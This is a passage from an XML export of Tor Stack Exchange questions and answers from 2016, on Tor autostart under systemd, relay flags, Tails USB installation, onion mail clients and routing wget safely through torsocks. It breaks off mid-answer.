  <row Id="12516" PostTypeId="2" ParentId="12327" CreationDate="2016-09-04T19:39:31.310" Score="0" Body="&lt;p&gt;It's a mass-fail situation you have here, actually. And here is &quot;why&quot; and &quot;what to do&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;The user identification&lt;/strong&gt; Impossible. It's an anonymous network. And the Exit node operator is not responsible for this actions either: ther's no mechanism to control the users using it. And it's totally right! Read downstrings - why&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The EPIC FAIL of your case&lt;/strong&gt; You're lacking of an authentification mechanisms properly applied to your task. &lt;em&gt;What you should do&lt;/em&gt;: if it's critical to you to personalize your user to his personal data enough to send a lawsuit to him, and it seems to be so if you're asking your question - use a 2-factor authentication. Or 2F+biometrics. If you're rocking the login+password stone-age auth schema in case of person-sensitive info/service - no wonder that you can not achieve your goal. Even more: using a clearnet bad things investigation you'll have to prove that it was &lt;em&gt;actually&lt;/em&gt; the person you're suing, or you will be in trouble.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;How to deal with Darknets&lt;/strong&gt; A censorship-resistant anonymous transports like Tor and I2P are your &lt;em&gt;best friends&lt;/em&gt;, and no, I'm not kidding! If you have an appropriately-applied authentication mechanism on your website/system - darknets are eliminating some network hijacking risks for you with no extra cost, actually.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-04T19:39:31.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12518" PostTypeId="1" AcceptedAnswerId="12600" CreationDate="2016-09-05T13:44:56.010" Score="2" ViewCount="6325" Body="&lt;p&gt;I have installed TOR 0.2.8.7 using the project's package repository on a fresh Linux MINT 18. The aim is to create a research VM. All traffic is supposed to be routed through TOR using a transparent proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this it would obviously make sense to have TOR autostart with the system boot. Even though I am well acclimated to Linux and the command line / console environment, I cannot achieve this simple task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading up on the topic, I tried everything from modifying the &lt;code&gt;resolv.conf&lt;/code&gt; over reading the tor script in the &lt;code&gt;init.d&lt;/code&gt; folder to using &lt;code&gt;systemctl&lt;/code&gt; to start the tor service automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though &lt;code&gt;sudo systemctl enable tor&lt;/code&gt; returns no errors, &lt;code&gt;sudo ps aux | grep tor&lt;/code&gt; shows no tor process after system startup. looking into the &lt;code&gt;tor.service&lt;/code&gt; file, it seems to be just a dummy running &lt;code&gt;bin/true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;systemctl status tor&lt;/code&gt; says active, but tor is not running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate very much if someone could give detailed instructions on how to achieve this simple task, because once again Linux has proven to be too complicated for me.&lt;/p&gt;&#xA;" OwnerUserId="14220" LastActivityDate="2020-04-06T21:56:22.280" Title="Autostart tor on Linux Mint / Ubuntu" Tags="|linux|startup|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12519" PostTypeId="2" ParentId="12518" CreationDate="2016-09-05T14:15:14.407" Score="2" Body="&lt;p&gt;Related to this bug: &lt;a href=&quot;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=808296&quot; rel=&quot;nofollow&quot;&gt;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=808296&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solved using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir /etc/systemd/system/tor@default.service.d/&#xA;(echo &quot;[Service]&quot;; echo &quot;AppArmorProfile=&quot;) &amp;gt; /etc/systemd/system/tor@default.service.d/override.conf&#xA;systemctl daemon-reload&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14220" LastActivityDate="2016-09-05T14:15:14.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12521" PostTypeId="2" ParentId="12518" CreationDate="2016-09-05T15:36:22.907" Score="0" Body="&lt;p&gt;In my experience there were also a weird situations related to tor+systemd pair. I've solved it by using screen and &lt;code&gt;/etc/rc.local&lt;/code&gt;. The root of the problem - as I see it - that if running not as a daemon, Tor depends on a full TTY somehow. Running as a daemon has it's pro's and con's, but the main concern in daemon mode for me is the fact that the error details are usually trimmed or lost entirely: when I'm experimenting with my patches, a SIGSEGV valueable details were lost entirely. So here what I have in my rc.local:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;# start Tor node&#xA; cd /usr/tor&#xA; /usr/bin/screen -d -m -S tor nice -n -12 /usr/tor/bin/tor -f /etc/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-05T15:36:22.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12522" PostTypeId="2" ParentId="12507" CreationDate="2016-09-05T15:38:47.940" Score="1" Body="&lt;p&gt;An answer is simple: use a second HS! You're using a second HS as a proxy or OpenVPN server for the &lt;em&gt;very deep HS of yours&lt;/em&gt;. And no problem will be regarding the privacy/location/deanonymization of your first HS&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-09-05T15:38:47.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12523" PostTypeId="1" CreationDate="2016-09-05T17:11:42.593" Score="2" ViewCount="90" Body="&lt;p&gt;I would like to know some information before launching my Tor node. If my node is assign as a guard node, can it still be used as a middle node or has it became a permanent guard node?&lt;/p&gt;&#xA;" OwnerUserId="14221" LastEditorUserId="13768" LastEditDate="2016-09-13T09:54:30.423" LastActivityDate="2016-09-13T09:54:30.423" Title="Question about the assigned Guard node flag and whether if this flagged node can still be used as middle node" Tags="|relays|guard|middle|flags|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12524" PostTypeId="2" ParentId="12523" CreationDate="2016-09-05T17:45:40.207" Score="1" Body="&lt;p&gt;All relays are suitable for all positions in ciruits. How clients use them depends on their assigned flags, with the exception of exiting traffic which is defined by their chosen exit policies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you will potentially act to some users as a guard and others as an intermediary (not always just the &quot;middle&quot;) and possibly an exit to others (if you have a policy that allows it).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-09-05T17:45:40.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12526" PostTypeId="5" CreationDate="2016-09-05T19:40:14.620" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/HTTPS&quot; rel=&quot;nofollow&quot;&gt;HTTPS&lt;/a&gt; protocol consists of communication over &lt;a href=&quot;https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol&quot; rel=&quot;nofollow&quot;&gt;Hypertext Transfer Protocol (HTTP&lt;/a&gt;) within a connection encrypted by &lt;a href=&quot;https://en.wikipedia.org/wiki/Transport_Layer_Security&quot; rel=&quot;nofollow&quot;&gt;Transport Layer Security (TLS) or its predecessor, Secure Sockets Layer (SSL)&lt;/a&gt;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTTPS provides &lt;a href=&quot;https://en.wikipedia.org/wiki/Authentication#Digital_authentication&quot; rel=&quot;nofollow&quot;&gt;authentication&lt;/a&gt; of the visited website which will protects against such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Man-in-the-middle_attack&quot; rel=&quot;nofollow&quot;&gt;man-in-the-middle attacks&lt;/a&gt; and since the communication is encrypted, it also protects against &lt;a href=&quot;https://en.wikipedia.org/wiki/Eavesdropping#Network_attacks&quot; rel=&quot;nofollow&quot;&gt;eavesdropping&lt;/a&gt; and tampering of the communications thus enhancing the privacy and integrity of the exchanged data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions where this tag generally fits are usually on HTTPS topics of authentication, certification, connection and/or encryption.&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-09-09T20:58:08.263" LastActivityDate="2016-09-09T20:58:08.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12527" PostTypeId="4" CreationDate="2016-09-05T19:40:14.620" Score="0" Body="HTTPS  is a widely used protocol for authentication of websites and secure plus encrypted communication over a computer network." OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-09-09T21:00:51.997" LastActivityDate="2016-09-09T21:00:51.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12528" PostTypeId="1" CreationDate="2016-09-05T20:42:32.360" Score="1" ViewCount="1336" Body="&lt;p&gt;MODS: If you want this on Android Enthusiasts, please migrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Orbot Tor VPN app on Android, and periodically while browsing, I will get a system message at the bottom saying &quot;App Restarted&quot;. Then: &quot;Cannot Establish VPN (App Not Prepared)&quot;. The app thenrestarts, and traffic resumes through the VPN according to the onion icon in the system panel. I have not run any tests, but it seems to happen when the processor/ram gets overwhelmed. I imagine this is beyond my control, so my primary question is about data leakage, and there is a secondary for any recommendations on how to fix or prevent this from happening, short of an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If I am browsing a site while this happens, does data leak out in the time it takes to restart the app? Either to the website or to the ISP?&lt;/li&gt;&#xA;&lt;li&gt;What may be causing this? RAM, resources, conflicting apps?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14224" LastActivityDate="2016-09-05T20:42:32.360" Title="Orbot VPN App on Android Keeps Restarting" Tags="|orbot|vpn|android|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12529" PostTypeId="1" CreationDate="2016-09-06T02:02:57.653" Score="2" ViewCount="23132" Body="&lt;p&gt;&lt;strong&gt;Can I just download Tails on just one USB(8gb)?&lt;/strong&gt; I only got one USB so there's that, I know that in their website they ask to use 2 sticks of Usb ( at least 4Gb ) but mine is bigger than the recommended, &lt;strong&gt;so why not use all of my 8Gb instead of using 2 sticks of 4?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14227" LastActivityDate="2016-10-07T11:28:51.293" Title="Can I Use Tails in One Stick of USB? ( 8Gb) instead of 2 (4Gb) Stick" Tags="|anonymity|tails|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12530" PostTypeId="2" ParentId="12529" CreationDate="2016-09-06T04:25:21.043" Score="3" Body="&lt;p&gt;Yes, but only under certain circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it is recommending 2 USBs is that for features like &lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/index.en.html&quot; rel=&quot;nofollow&quot;&gt;encrypted persist storage&lt;/a&gt; and incremental updates it has to be installed from the &lt;code&gt;Tails Installer&lt;/code&gt;. This performs extra steps that can't be done through simply writing the .iso to the raw &quot;block device&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; get a working copy of Tails from just doing that but it won't give you any encrypted storage space, if that isn't part of your requirements then you do not need to use two USB sticks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also install Tails through the &lt;a href=&quot;https://tails.boum.org/install/debian/usb/overview/index.en.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Tails Installer&lt;/code&gt; for Debian, Ubuntu or Mint&lt;/a&gt;, which can install directly from the existing Debian, Ubuntu or Mint installation onto a single USB stick without having to use the &quot;Intermediary&quot; Tails USB stick to run the installer for the intended USB stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other ways around this problem but none of them are universal (or recommended) and depend on what you have available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, no you won't be able to use your one 8GB as two 4GB but yes you may be able to install it with just one 8GB, if you either forgo persistence and incremental updates and just use the &quot;Intermediary&quot; USB installation or have a pre-existing Ubuntu, Debian or Mint install available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other ugly workaround ideas might be getting &lt;a href=&quot;https://help.ubuntu.com/community/Grub2/ISOBoot&quot; rel=&quot;nofollow&quot;&gt;GRUB to boot the .iso directly&lt;/a&gt;, using an existing GRUB2 install to load the &quot;Intermediary&quot;, or writing the iso to some other media and successfully getting it to boot from that to act as the point for loading the intermediary.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-09-06T04:25:21.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12533" PostTypeId="5" CreationDate="2016-09-06T13:09:07.050" Score="0" Body="&lt;p&gt;Your question would be more suitably tagged as &lt;strong&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/tagged/deanonymization&quot;&gt;deanonymization&lt;/a&gt;&lt;/strong&gt; if it deals more about the actions of uncovering identities who are responsible for certain anonymized data for example.&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-09-13T09:54:21.230" LastActivityDate="2016-09-13T09:54:21.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12534" PostTypeId="4" CreationDate="2016-09-06T13:09:07.050" Score="0" Body="The word &quot;anonymity&quot; is used to describe the state or quality of being unidentifiable for a person's or a group of people's actions or in the case of computers, data." OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-09-09T20:58:53.717" LastActivityDate="2016-09-09T20:58:53.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12536" PostTypeId="2" ParentId="12305" CreationDate="2016-09-06T15:26:49.633" Score="2" Body="&lt;p&gt;Another workaround is to modify the URL so that it begins with &lt;a href=&quot;https://www.facebookcorewwwi.onion/&quot; rel=&quot;nofollow&quot;&gt;https://www.facebookcorewwwi.onion/&lt;/a&gt; - that's Facebook's official .onion address, and the CAPTCHA works there.&lt;/p&gt;&#xA;" OwnerUserId="14235" LastActivityDate="2016-09-06T15:26:49.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12537" PostTypeId="1" CreationDate="2016-09-06T16:15:36.777" Score="1" ViewCount="32" Body="&lt;p&gt;just downloaded tor on windows 10 very new to it and wont connect at all. used bridges and also used the connections like meek and others and nothing works please help. There has never been a successful connection since I downloaded the program.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9/6/2016 15:10:12 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2016 15:10:26 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2016 15:10:26 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2016 15:10:26 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2016 15:10:26 PM.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;9/6/2016 15:10:26 PM.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;9/6/2016 15:10:26 PM.900 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;9/6/2016 15:10:57 PM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;9/6/2016 15:10:57 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2016 15:10:57 PM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;9/6/2016 15:10:57 PM.800 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;9/6/2016 15:12:53 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2016 15:12:53 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2016 15:12:53 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2016 15:12:53 PM.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;9/6/2016 15:13:05 PM.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host AF9F66B7B04F8FF6F32D455F05135250A16543C9 at 169.229.59.75:46328) &#xA;9/6/2016 15:13:05 PM.000 [WARN] 10 connections have failed: &#xA;9/6/2016 15:13:05 PM.000 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;9/6/2016 15:14:17 PM.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;9/6/2016 15:14:17 PM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;9/6/2016 15:14:17 PM.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14236" LastEditorUserId="12737" LastEditDate="2016-09-06T19:21:09.880" LastActivityDate="2016-09-06T19:49:43.873" Title="cant establish a encrypted directory connection" Tags="|windows|help|" AnswerCount="0" CommentCount="5" ClosedDate="2017-05-09T11:58:36.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="12539" PostTypeId="1" CreationDate="2016-09-06T19:45:04.133" Score="3" ViewCount="661" Body="&lt;p&gt;I am looking for a way to minimize the latency while using Tor, while remaining relatively anonymous. A minor loss in anonymity is acceptable, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is mostly for testing purposes, but I would still like to try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this, i.e. cut down the latency as much as possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reconfigure torrc to use only very fast relays?&lt;/p&gt;&#xA;" OwnerUserId="14240" LastActivityDate="2016-09-07T01:47:37.903" Title="How to minimize latency in Tor?" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12540" PostTypeId="1" CreationDate="2016-09-06T19:48:05.453" Score="2" ViewCount="1246" Body="&lt;p&gt;I tried to use the hidden service of an email provider with claws mail. I start the client with &lt;code&gt;torify claws mail&lt;/code&gt;, but it doesn't work. I only get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Connection to hiddenmailservice.onion:995 failed.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Network log writes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Account 'Hidden mail service': Connecting to POP3 server: hiddenmailservice.onion:995...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The console additionally threw:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WARNING torsocks[14724]: [connect] Connection to a local address are denied since it might be a TCP DNS query to a local DNS server. Rejecting it for safety reasons. (in tsocks_connect() at connect.c:177)&#xA;connect: Operation not permitted&#xA;&#xA;** (claws-mail:14724): WARNING **: can't connect to server.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This message appears instantly, so it seems that claws-mail didn't even try to connect. When I change the server to its clearnet name it works though. Is there any possibility to use claws-mail with onion services?&lt;/p&gt;&#xA;" OwnerUserId="14239" LastEditorUserId="88" LastEditDate="2016-09-15T14:16:44.927" LastActivityDate="2019-03-01T06:43:55.503" Title="Can't use onion mail service with torified claws-mail" Tags="|configuration|onion-services|email|torsocks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12542" PostTypeId="2" ParentId="12539" CreationDate="2016-09-07T01:40:41.773" Score="1" Body="&lt;p&gt;I am assuming you are building out a collector process that needs to get through Tor as fast as possible. Good luck to you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run your own relays and force by way of your torrc file to connect to your own relays. Set your relay bandwidth limits to be very high and set it to not publish that they exist to the larger Tor community. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This of course is not very secure at all and assumes that you even get accepted by Tor to receive the exit relay flag and the guard node flag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also kind of takes a crap on the Tor community by not letting anyone else use your fast relays. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, to each their own! Do what thou wilt shall be the whole of the law. And also unfortunately, the wise one said &quot;karma is a bitch.&quot;&lt;/p&gt;&#xA;" OwnerUserId="9508" LastEditorUserId="9508" LastEditDate="2016-09-07T01:47:37.903" LastActivityDate="2016-09-07T01:47:37.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12543" PostTypeId="2" ParentId="6268" CreationDate="2016-09-07T01:51:04.513" Score="1" Body="&lt;p&gt;Use &lt;a href=&quot;https://pidgin.im&quot; rel=&quot;nofollow&quot;&gt;pidgin&lt;/a&gt; and add your google account there. Should work great.&lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2016-09-07T01:51:04.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12544" PostTypeId="1" AcceptedAnswerId="12545" CreationDate="2016-09-07T02:47:13.513" Score="5" ViewCount="13209" Body="&lt;p&gt;How can I find out how to configure wget to work securely with torify? The official documentation for doing it seems outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Ubuntu Linux 16.04, with tor installed from the repositories, but using the stand-alone browser bundle is accepteable as long as it can be used through the command line/scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can use &lt;code&gt;torify wget [url]&lt;/code&gt; and it will download file/s, and I know that using the suggested method from this post &lt;a href=&quot;https://askubuntu.com/questions/95910/command-for-determining-my-public-ip&quot;&gt;(getting public IP address)&lt;/a&gt; that running this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget http://ipinfo.io/ip -qO -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then running this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torify wget http://ipinfo.io/ip -qO -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;do successfully return different IP addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a lot of sources always imply that it's not that simple and other identifying information could be leaked by wget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/Misc&quot; rel=&quot;nofollow noreferrer&quot;&gt;This link&lt;/a&gt; (which seems official) specifically mentions &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/Misc&quot; rel=&quot;nofollow noreferrer&quot;&gt;configuring wget for torify&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There it says for Unix/Linux to edit &lt;code&gt;/home/user/.bashrc&lt;/code&gt; and add these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http_proxy=http://127.0.0.1:8123/&#xA;HTTP_PROXY=$http_proxy&#xA;export http_proxy HTTP_PROXY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then it says to edit &lt;code&gt;/etc/wgetrc&lt;/code&gt; and add these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http_proxy = http://localhost:8118&#xA;use_proxy = on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But doing that causes &lt;code&gt;torify wget&lt;/code&gt; to fail with this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Connecting to localhost (localhost)|127.0.0.1|:8118... [Sep 06 21:55:50] WARNING torsocks[3680]: [connect] Connection to a local address are denied since it might be a TCP DNS query to a local DNS server. Rejecting it for safety reasons. (in tsocks_connect() at connect.c:186)&#xA;failed: Operation not permitted.&#xA;Retrying.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really have no idea what that error message or those config lines mean. What do they mean? Is this still the right way to configure wget for use with torify? Because really the main problem here is that &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/Misc&quot; rel=&quot;nofollow noreferrer&quot;&gt;the link&lt;/a&gt; that recommends those configurations clearly states that that is all &lt;strong&gt;&quot;Old Advice (outdated).&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any new, &lt;strong&gt;up-to-date&lt;/strong&gt; advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about Tails? Is any of this configuration necessary to make wget work securely running in Tails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please keep in mind that I don't know much about advanced networking and the inner workings of tor. Beginner-friendly advice would be preferred, but any information would be appreciated. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3918/how-to-anonymize-the-programs-from-the-terminal&quot;&gt;How to anonymize the programs from the terminal?&lt;/a&gt;&#xA;This one is where I originally heard about &lt;code&gt;torify&lt;/code&gt;. It's a good&#xA;how-to for basic use, but does not mention any of the security leaks&#xA;of just using &lt;code&gt;torify wget&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/9149/how-to-use-command-line-utilities-through-tor/9228#9228&quot;&gt;How to use command line utilities through Tor?&lt;/a&gt;&#xA;This one the best answers talk about doing a lot of things like&lt;br&gt;&#xA;&quot;using proxy chains&quot; and &quot;configuring your firewall to drop all UDP&lt;br&gt;&#xA;packets&quot; but offers no explanation of how to do them, or what the&lt;br&gt;&#xA;consequences of doing them are. It's way over my head.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://askubuntu.com/questions/410057/tor-in-command-prompt&quot;&gt;https://askubuntu.com/questions/410057/tor-in-command-prompt&lt;/a&gt; just&#xA;basic use again.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3918/how-to-anonymize-the-programs-from-the-terminal&quot;&gt;How to anonymize the programs from the terminal?&lt;/a&gt;&#xA;again this is just the basics.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14246" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-09-16T15:22:25.933" Title="How can Wget be configured to work with Torify securely?" Tags="|configuration|linux|torify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12545" PostTypeId="2" ParentId="12544" CreationDate="2016-09-07T04:09:10.957" Score="3" Body="&lt;p&gt;Personally, I think the wiki stuff is outdated and needs some kinda purge with fire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how Tails does it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;unset http_proxy&#xA;unset HTTP_PROXY&#xA;unset https_proxy&#xA;unset HTTPS_PROXY&#xA;&#xA;exec torsocks /usr/lib/wget/wget --passive-ftp &quot;$@&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This script is set as the default &lt;code&gt;wget&lt;/code&gt; (through dpkg-divert, so that non-torified wget would be hard to accidentally run) and will wrap any call to wget. This does the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Unsetting the &lt;code&gt;http{,s}_proxy&lt;/code&gt; environment variables stop wget trying to use a proxy outside of Tor and potentially either contaminating another proxy with traffic intended to be anonymous (e.g. torsocks connects to some proxy over Tor) and to avoid it trying to use localhost resources causing the torsocks failure you saw before.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using torsocks (at least &gt;=2.0) is a pretty robust method for wrapping applications that don't natively support SOCKS5, while there are problems it can encounter it's unlikely to encounter them in &lt;code&gt;wget&lt;/code&gt;. This should force all connections to go out over Tor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;--passive-ftp&lt;/code&gt; on the command line or &lt;code&gt;passive_ftp = on&lt;/code&gt; in &lt;code&gt;wgetrc&lt;/code&gt; stops the use of &quot;Active&quot; FTP. This is an application level leak, specifically because FTP uses two channels, one for commands and the other for data. &quot;Active&quot; FTP works by the client (e.g. &lt;code&gt;wget&lt;/code&gt;) sending the server an IP and a Port to connect to to send the contents of the file. Since the client sends what it believes to be it's IP to the server, this clearly leaks local information to the remote party, this is more likely a LAN IP address (&quot;Active&quot; FTP is mostly superceded by &quot;Passive&quot; because it doesn't play well with NAT) than it's real public IP, but still constitutes a leak.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other things to consider, the User-Agent send by wget will often provide a version number and a platform, for example Tails (2.5) will currently provide &lt;code&gt;Wget/1.16 (linux-gnu)&lt;/code&gt; as the User-Agent, different operating systems will likely have different versions of wget in their software libraries at different times and so an observer might be able to guess at your current platform. From a real world example I can see that this wget &lt;code&gt;Wget/1.17.1 (linux-gnueabihf)&lt;/code&gt;, seen frequently &quot;pinging&quot; an onion service I run over a long period of time, is 